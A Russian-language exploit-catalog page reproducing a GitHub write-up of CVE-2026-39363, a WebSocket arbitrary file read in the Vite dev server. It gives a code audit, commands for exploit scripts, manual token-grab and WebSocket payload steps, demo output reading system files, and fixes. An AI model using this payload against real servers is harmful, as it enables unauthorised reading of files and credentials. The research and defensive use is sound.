Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39363 — Эксплойт для CVE-2026-39363 — уязвимости произвольного чтения файлов через WebSocket в Vite Dev Server, с Python- и Node.js-скриптами для автоматизированной эксплуатации и ручными шагами. | Kitploit
Инструменты/GitHubGitHub/firebasky/cve-2026-39363
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

Эксплойт для CVE-2026-39363 — уязвимости произвольного чтения файлов через WebSocket в Vite Dev Server, с Python- и Node.js-скриптами для автоматизированной эксплуатации и ручными шагами.

Репозиторий
74 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39363

Vite Dev Server WebSocket Arbitrary File Read Vulnerability

Обзор уязвимости

СвойствоИнформация
CVE IDCVE-2026-39363
GHSA IDGHSA-p9ff-h696-f583
Тип уязвимостиArbitrary File Read (произвольное чтение файлов)
Затронутый компонентVite Dev Server
Затронутые версииVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Оценка CVSSHigh
Исправленная версияVite >= 6.2.3

Принцип уязвимости

Основная проблема

Вызов RPC fetchModule через WebSocket в Vite Dev Server содержит уязвимость обхода проверки безопасности.

Аудит кода

Расположение уязвимого кода: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Ключевая точка уязвимости: когда URL является file:// или отсутствует importer,
  // вызывается resolveId напрямую, без проверки isFileServingAllowed!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...продолжение обработки и возврат содержимого файла
}

Сравнение путей запросов

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│              HTTP путь запроса (с проверкой безопасности)        │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCKED                           │
│  (проверка server.fs.allow)                                     │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│              WebSocket путь запроса (обход проверки)             │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> прямой вызов resolveId           │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> зависит от конфигурации fs.allow  │
│         │                                                       │
│         ▼                                                       │
│  Успешный возврат содержимого файла (если fs.allow разрешает)   │
└─────────────────────────────────────────────────────────────────┘

Ключевые выводы

  1. HTTP путь: проходит многоуровневые проверки ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. WebSocket путь:

    • Функция fetchModule не вызывает isFileServingAllowed
    • Вторая линия защиты — isFileLoadingAllowed в loadAndTransform — всё ещё действует
    • Но если конфигурация server.fs.allow слишком свободная, можно читать произвольные файлы

Условия эксплуатации

  1. Vite Dev Server доступен в сети (например, при использовании --host)
  2. Свободная конфигурация server.fs.allow:
    • fs.allow: ['..'] — можно читать родительские каталоги
    • fs.allow: ['C:/'] — можно читать весь диск C
    • fs.strict: false — полностью без ограничений
  3. Возможность получить wsToken (через обращение к /@vite/client)

Настройка окружения

root@kitploit:~
# Клонирование репозитория
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Установка зависимостей
npm install

# Запуск Vite Dev Server (со свободной конфигурацией для демонстрации уязвимости)
npm run dev

Эксплуатация уязвимости

Способ 1: использование Python-скрипта

root@kitploit:~
# Базовое использование (автоматическое определение порта)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Чтение файла вне проекта
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# С указанием токена
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Способ 2: использование Node.js POC

root@kitploit:~
# Получение wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Запуск POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Шаги ручной эксплуатации

  1. Получение WebSocket Token:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. WebSocket подключение:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. Отправка payload:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Демонстрация

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

Структура файлов

root@kitploit:~
CVE-2026-39363/
├── README.md           # Документация по анализу уязвимости
├── exp.py              # Python exploit скрипт
├── poc.js              # Node.js POC
├── vite.config.js      # Конфигурационный файл Vite (для демонстрации)
├── package.json        # Конфигурация проекта
├── src/                # Каталог исходного кода
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Статические ресурсы
└── index.html          # Входной HTML

Рекомендации по исправлению

1. Обновление Vite

root@kitploit:~
npm update vite
# или
npm install vite@latest

2. Ограничение server.fs.allow

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // разрешён только корневой каталог проекта
    }
  }
})

3. Не открывать Dev Server наружу

  • Не запускать Dev Server в производственной среде
  • Избегать использования --host для публичного доступа
  • Использовать межсетевой экран для ограничения доступа

Справочные материалы

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Vite Documentation

Отказ от ответственности

Данный проект предназначен исключительно для исследований в области безопасности и образовательных целей. Не используйте код эксплуатации данной уязвимости для любых незаконных действий. Перед тестированием с использованием данного кода убедитесь, что вы получили явное разрешение от владельца целевой системы.

License

MIT License

Скачать инструмент